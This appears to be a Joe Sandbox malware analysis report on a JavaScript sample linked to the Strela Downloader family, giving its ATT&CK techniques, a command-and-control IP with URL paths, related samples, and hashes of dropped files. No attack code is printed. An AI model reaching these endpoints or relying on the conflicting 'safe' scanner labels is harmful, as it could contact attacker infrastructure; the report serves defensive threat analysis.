Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
30562134305434372.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/n	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/p	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.ver)	svchost.exe, 00000009.00000002.2710340932.000001A3F7000000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/p	net.exe, 00000007.00000002.1497447929.000002389279D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1497447929.0000023892768000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1497447929.000002389279D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1507323285.000001A3F7200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.1497447929.000002389279D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587647
Start date and time:	2025-01-10 16:17:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	30562134305434372.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.22.50.131, 2.22.50.144, 2.16.168.107, 2.16.168.105, 13.107.246.45, 52.149.20.212, 3.233.129.217, 104.78.188.188
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 30562134305434372.js

Simulations

Behavior and APIs

Time	Type	Description
10:18:06	API Interceptor	21x Sleep call for process: powershell.exe modified
10:18:10	API Interceptor	1x Sleep call for process: net.exe modified
10:18:11	API Interceptor	2x Sleep call for process: svchost.exe modified
10:18:18	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=ffa78034-d960-4bb3-b2a2-bb62a1fc4a65&etti=24&acct=86dab687-685e-40aa-af52-e5c3fc07b508&er=04714c6d-cc25-4a21-be91-01e1c43a5f3f	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	hCkkM0lH0P.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	RSLMZxqebl.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	nRNzqQOQwk.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	PO-0005082025 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.45
	PO-0005082025 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.45
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.45
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	13.107.246.45
bg.microsoft.map.fastly.net	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	CF342114-CD27-4FDB-9984-9F03FED05312_12172024123959996.dll	Get hash	malicious	Unknown	Browse	199.232.214.172
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	QUOTATION-9044456778.pdf (83kb).com.exe	Get hash	malicious	PureLog Stealer, Quasar	Browse	199.232.214.172
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	199.232.210.172
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	A5815BC0-FA26-4ECC-9A97-EE9DB31273CA_12272024154104847.dll	Get hash	malicious	Unknown	Browse	199.232.210.172
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	18559217651387524988.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	6994127092970513305.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	251011677249918058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2078028442107917841.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18474255912080825433.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4932117087248865
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Zta8:cJhXC9lHmutpJyiRDeJ/aUKrDgnmS
MD5:	86D338D5BE15F02B71A28C1F83FFDEBA
SHA1:	16E268BA43767CDF933D56F6AF8F6DD721E7DAD5
SHA-256:	BFD3B9249675A13EE06CBB34185D39C75D434ED3DB97AFCF6C93EF3E12BA3E7C
SHA-512:	91F874CF2DDB01B2C8C68DEAD187502806D5F8EC2E7AFDF087045E86A705BE7400F0522C17F96F85122D389C1169CCD82937D25F87E141FA503380DC811A1598
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xc0de86cd, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7217227998838837
Encrypted:	false
SSDEEP:	1536:rSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:razaNvFv8V2UW/DLzN/w4wZi
MD5:	2B3CCFCB0A09F8D49C97FE4533340411
SHA1:	0B5A1C82B7EAE00417790D511C6C4B35811AFB74
SHA-256:	2BCD01302B9BCD3F5C354F69A793B95BE92A8CCD7A0F37005CA6E6FA95B30338
SHA-512:	865BCB537CBA1444B9AFA4F1C9EEC6B5B41B3D1DA4FFD3BF5692728AF608B243E131A00D065D2D97BF3D65ACB74AFF31890C5E31814E134B862082E4358A961A
Malicious:	false
Preview:	...... ...............X\...;...{......................p.D..........{}......}..h.F.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......-....{...............................................................................................................................................................................................2...{..................................r6.......}C.................1........}...........................#......h.F.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08154374432567563
Encrypted:	false
SSDEEP:	3:6htyYeZ+ew/fgsCrZClW/tU5avRQill+SHY/Xl+/rQLve:6ryzZ+ewfgs3GkavWGAS4M
MD5:	9D102509245E91669759435324A9AA73
SHA1:	9A8F5E4B021C5EC700DFA90DEA963761FB3A42AB
SHA-256:	2F949AF00A1BB800F5AB805DA0B04174D75C22C875476B851B1A0AC448A8E816
SHA-512:	131FB7179131FE76DE7268F6A0C3F61DE6F974844AD00F0BD0911A8B9BAC6AE02B5FA33C79A722FE9DA12E27F65B37971FE255FE3FB1BE666D22CBC70AF3848C
Malicious:	false
Preview:	.........................................;...{.......}.......{}..............{}......{}.vv_Q.....{}.................1........}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.12027556966984
Encrypted:	false
SSDEEP:	6:iO4faV+q2PqLTwi2nKuAl9OmbnIFUtS0U4SZZmws0U4SNVkwOqLTwi2nKuAl9Omt:7JV+v8wZHAahFUt16/vWV5TwZHAaSJ
MD5:	050EFA327BA9E3C1A18D68C43A510578
SHA1:	D346EFCF6B1170B736DF23C33FB30C0791E7B861
SHA-256:	37327AAC24B3DBFCE59BB24F5F45B5892B26ED065754D66E350044256002AB89
SHA-512:	A7C88BA8924BFD272A6A00FE6F3A5B8E1408BB2322C2FA9645F9A7C12CE8D34BE1725AC70F7E822C0106EA7A9130D8B888DA9A9650BAB26887C4AED2561DBE77
Malicious:	false
Preview:	2025/01/10-10:18:10.840 107c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-10:18:10.843 107c Recovering log #3.2025/01/10-10:18:10.843 107c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290
Entropy (8bit):	5.12027556966984
Encrypted:	false
SSDEEP:	6:iO4faV+q2PqLTwi2nKuAl9OmbnIFUtS0U4SZZmws0U4SNVkwOqLTwi2nKuAl9Omt:7JV+v8wZHAahFUt16/vWV5TwZHAaSJ
MD5:	050EFA327BA9E3C1A18D68C43A510578
SHA1:	D346EFCF6B1170B736DF23C33FB30C0791E7B861
SHA-256:	37327AAC24B3DBFCE59BB24F5F45B5892B26ED065754D66E350044256002AB89
SHA-512:	A7C88BA8924BFD272A6A00FE6F3A5B8E1408BB2322C2FA9645F9A7C12CE8D34BE1725AC70F7E822C0106EA7A9130D8B888DA9A9650BAB26887C4AED2561DBE77
Malicious:	false
Preview:	2025/01/10-10:18:10.840 107c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-10:18:10.843 107c Recovering log #3.2025/01/10-10:18:10.843 107c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.14987484103898
Encrypted:	false
SSDEEP:	6:iO4Nq2PqLTwi2nKuAl9Ombzo2jMGIFUtSyDZmws9ZkwOqLTwi2nKuAl9Ombzo2jz:78v8wZHAa8uFUt5D/s5TwZHAa8RJ
MD5:	319B3F6FF40FE6F27270B5CBDC481AB5
SHA1:	67791D619FDC9F26BFD9E64FA706433B623E1763
SHA-256:	360DD82D91666410F4C21692610DB6C36EC06B8B7CDF7C4A6AAE2800AA9FF955
SHA-512:	FF5D74FC3571E2304DD5E073AAC0694F97A594E92C22C3C08A3397876E2627B9ADB18F71E669BDDB72CC9967D3CDB5BDF360C0BD7E5ABA183212A85720BA224C
Malicious:	false
Preview:	2025/01/10-10:18:10.941 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-10:18:10.943 7d0 Recovering log #3.2025/01/10-10:18:10.944 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	331
Entropy (8bit):	5.14987484103898
Encrypted:	false
SSDEEP:	6:iO4Nq2PqLTwi2nKuAl9Ombzo2jMGIFUtSyDZmws9ZkwOqLTwi2nKuAl9Ombzo2jz:78v8wZHAa8uFUt5D/s5TwZHAa8RJ
MD5:	319B3F6FF40FE6F27270B5CBDC481AB5
SHA1:	67791D619FDC9F26BFD9E64FA706433B623E1763
SHA-256:	360DD82D91666410F4C21692610DB6C36EC06B8B7CDF7C4A6AAE2800AA9FF955
SHA-512:	FF5D74FC3571E2304DD5E073AAC0694F97A594E92C22C3C08A3397876E2627B9ADB18F71E669BDDB72CC9967D3CDB5BDF360C0BD7E5ABA183212A85720BA224C
Malicious:	false
Preview:	2025/01/10-10:18:10.941 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-10:18:10.943 7d0 Recovering log #3.2025/01/10-10:18:10.944 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.953183042092079
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3sBdOg2HzZcaq3QYiub5P7E4T3y:Y2sRdsVdMH83QYhbt7nby
MD5:	C8115238EFA4AEBF25F027C40C020DCB
SHA1:	25CC7009AA0D2163863A003915E83F8B22134716
SHA-256:	BAB690411E2D39B78DA4E953723F43D20FF1462C8F76EC5DC4F165D543D445E5
SHA-512:	0E838040BC8160DC01F3C5146B2B433717BA0EB402B6543960F3A31B9A86B49DA85EAD57E146E24937BA2DE9E56C3BC4F56829ADC3A41EA81C102F9F7ECD87B6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381082302032135","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131631},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a7adb3ed-5b1b-4d96-8bf1-3e5936ebb3f1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.953183042092079
Encrypted:	false
SSDEEP:	12:YH/um3RA8sq3sBdOg2HzZcaq3QYiub5P7E4T3y:Y2sRdsVdMH83QYhbt7nby
MD5:	C8115238EFA4AEBF25F027C40C020DCB
SHA1:	25CC7009AA0D2163863A003915E83F8B22134716
SHA-256:	BAB690411E2D39B78DA4E953723F43D20FF1462C8F76EC5DC4F165D543D445E5
SHA-512:	0E838040BC8160DC01F3C5146B2B433717BA0EB402B6543960F3A31B9A86B49DA85EAD57E146E24937BA2DE9E56C3BC4F56829ADC3A41EA81C102F9F7ECD87B6
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381082302032135","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131631},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.9","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.222488729524283
Encrypted:	false
SSDEEP:	96:GICD8SBCmPAi8j0/8qbGNSwPgGYPx8xRqhm068OzugJSTp:1CDLCmPj8j0/8qKgwPHYPx8xemT8OzuB
MD5:	36880C92FC549116A453FB71B375C472
SHA1:	A0DF6E5AA44CB7612E493BD6C42664FD0ED5DCDE
SHA-256:	84097DEA4EC71AEFA2792FA2BA196743603E57C92FC27E4DED4C06995CF39F49
SHA-512:	78D4BDEF1479C976E4DFAC111C03FDD1395495B82F222054544CF1DE86F5954567AFBEF2B3A721D568B9CE0025238C9A3237765AC97FCC1965626B372386A8BE
Malicious:	false
Preview:	*...#................version.1..namespace-W...o................next-map-id.1.Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.0.w..r................next-map-id.2.Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/.1:M4.r................next-map-id.3.Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/.2IE..o................next-map-id.4.Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.3KQ..^...............Pnamespace-ed11ed50_1515_4296_b27c_721e1e1acdec-https://rna-resource.acrobat.com/.xK.^...............Pnamespace-b58dfce7_364b_43da_946b_3d7546a793e5-https://rna-resource.acrobat.com/.i.+a...............Snamespace-f62cae74_b031_4dd2_8c7b_e9ef3858dbf9-https://rna-v2-resource.acrobat.com/Tz.qa...............Snamespace-2a2b5482_c0ce_4c74_9fbc_8a8daf6ed72d-https://rna-v2-resource.acrobat.com/"_.o................next-map-id.5.Pnamespace-7c898a99_566e_4628_b4ec_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.132484485331954
Encrypted:	false
SSDEEP:	6:iO425Iq2PqLTwi2nKuAl9OmbzNMxIFUtSEZmwskkwOqLTwi2nKuAl9OmbzNMFLJ:7b5Iv8wZHAa8jFUtr/f5TwZHAa84J
MD5:	E5F91C84F408B27C1CC5E828843FB2E2
SHA1:	CBFFAC766650B58ABF0D392464054BF17D091919
SHA-256:	7A6802091301DBB7A7546053F345021846046729B7B095B63E522E32DBD61E9D
SHA-512:	2B9A25B809A0F3AA304D6DE986F55DFB8CEAB42F637ECC379A97964E61B873B319D8D99EEC0E62489E2531776285A4D6EFD0D41D8847880F571BA126106E51FC
Malicious:	false
Preview:	2025/01/10-10:18:11.304 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-10:18:11.306 7d0 Recovering log #3.2025/01/10-10:18:11.306 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	319
Entropy (8bit):	5.132484485331954
Encrypted:	false
SSDEEP:	6:iO425Iq2PqLTwi2nKuAl9OmbzNMxIFUtSEZmwskkwOqLTwi2nKuAl9OmbzNMFLJ:7b5Iv8wZHAa8jFUtr/f5TwZHAa84J
MD5:	E5F91C84F408B27C1CC5E828843FB2E2
SHA1:	CBFFAC766650B58ABF0D392464054BF17D091919
SHA-256:	7A6802091301DBB7A7546053F345021846046729B7B095B63E522E32DBD61E9D
SHA-512:	2B9A25B809A0F3AA304D6DE986F55DFB8CEAB42F637ECC379A97964E61B873B319D8D99EEC0E62489E2531776285A4D6EFD0D41D8847880F571BA126106E51FC
Malicious:	false
Preview:	2025/01/10-10:18:11.304 7d0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-10:18:11.306 7d0 Recovering log #3.2025/01/10-10:18:11.306 7d0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438147767626981
Encrypted:	false
SSDEEP:	384:ye+ci5GFiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:pJurVgazUpUTTGt
MD5:	AFE62FE9F41A4F02BC4C41196005D8A5
SHA1:	B8711DDFF01762B28FB0E52DC10AAB8352556941
SHA-256:	590FC121E40CD3DE05B26E3E52F2B0032DEF5F36D67C7F168749E2355D1A765B
SHA-512:	C0EFA2BD17C62943319BF6BF6F3BC2F27460284A98CB4F0533EFAFDB9C0CE020413C1C4D380ACF0E9B576EE9145EA9409ADF5E5C3A264913746CA4DA77D4E766
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.76584323399825
Encrypted:	false
SSDEEP:	48:7MYP7JioyVmioyMoy1C7oy16oy1gKOioy1noy1AYoy1Wioy1oioykioyBoy1noy3:7DTJumEPXjBilb9IVXEBodRBk1N
MD5:	CA73CDBD2641F8E56DDCFE62DE301EED
SHA1:	8B62A8444F81877A424502F3B6E0506882254F69
SHA-256:	06A66D941DD56655C9E1870D1CDEA57A3794B8505D862B59EEC55DF59BE3CF8F
SHA-512:	A2D146FE663203850444308CC4090F3DDB9F6FFDAAC4011BEFA48DD8140C6F4632B5C09A265377CE8E266BF96CB2578EC93C2BBA5435EE852AFA73C3616476F4
Malicious:	false
Preview:	.... .c.....H.r...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
